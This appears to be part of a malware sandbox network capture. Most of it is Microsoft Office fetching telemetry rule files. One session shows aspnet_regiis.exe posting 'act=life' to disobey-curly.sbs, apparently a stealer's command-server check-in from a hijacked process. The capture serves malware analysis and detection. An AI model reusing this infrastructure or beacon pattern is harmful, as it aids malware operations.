2024-11-23 14:22:12 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 5931471e-001e-0046-7a23-3dda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142212Z-178bfbc474bxkclvhC1NYC69g400000004cg00000000gq4y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:11 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:12 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f19b5380-801e-0015-2749-3cf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142212Z-15b8b599d88qw29phC1TEB5zag000000030g00000000a3pd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:12 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:11 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 95105883-701e-001e-6118-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142212Z-178bfbc474bpnd5vhC1NYC4vr400000004k000000000bbfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:12 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:11 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:12 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142212Z-174c587ffdfb74xqhC1TEBhabc0000000330000000006en0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:12 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:12 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:12 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c569ec8c-a01e-003d-0e22-3d98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142212Z-178bfbc474bp8mkvhC1NYCzqnn00000004h0000000000cdf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:12 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:14 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:14 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 0498098b-f01e-0003-1354-3d4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142214Z-15b8b599d88l2dpthC1TEBmzr0000000032000000000556t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:14 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:14 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:14 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: a839412a-a01e-0032-5a3c-3d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142214Z-15b8b599d882l6clhC1TEBxd5c0000000320000000000mvp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:14 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142214Z-178bfbc474bwlrhlhC1NYCy3kg00000004q0000000000tvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:14 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142214Z-174c587ffdfb485jhC1TEBmc1s00000002s000000000n875 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:14 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142214Z-174c587ffdf89smkhC1TEB697s0000000350000000007w5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49771	172.67.223.140	443	6976	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:15 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: disobey-curly.sbs
2024-11-23 14:22:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 14:22:15 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s0ivrs07h5stft3v545k98fm89; expires=Wed, 19-Mar-2025 08:08:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bpm1QxERHrLFgytkXnfM%2BXmHt3murma40WKbdOmfcpjBHXEd1hD9wSqxp8lQg4HbBwLlLEqImiwlkWNiBxp4mkHg%2BTt9AgoQVdQqGV58yp6HXIdV6youEclPlpXPxdoLAzGMIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71cf7319517cf4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1998&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=908&delivery_rate=1483739&cwnd=213&unsent_bytes=0&cid=ca34169f98b87e5c&ts=720&x=0"
2024-11-23 14:22:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 14:22:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:16 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142216Z-178bfbc474bscnbchC1NYCe7eg00000004ug0000000013vn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:16 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
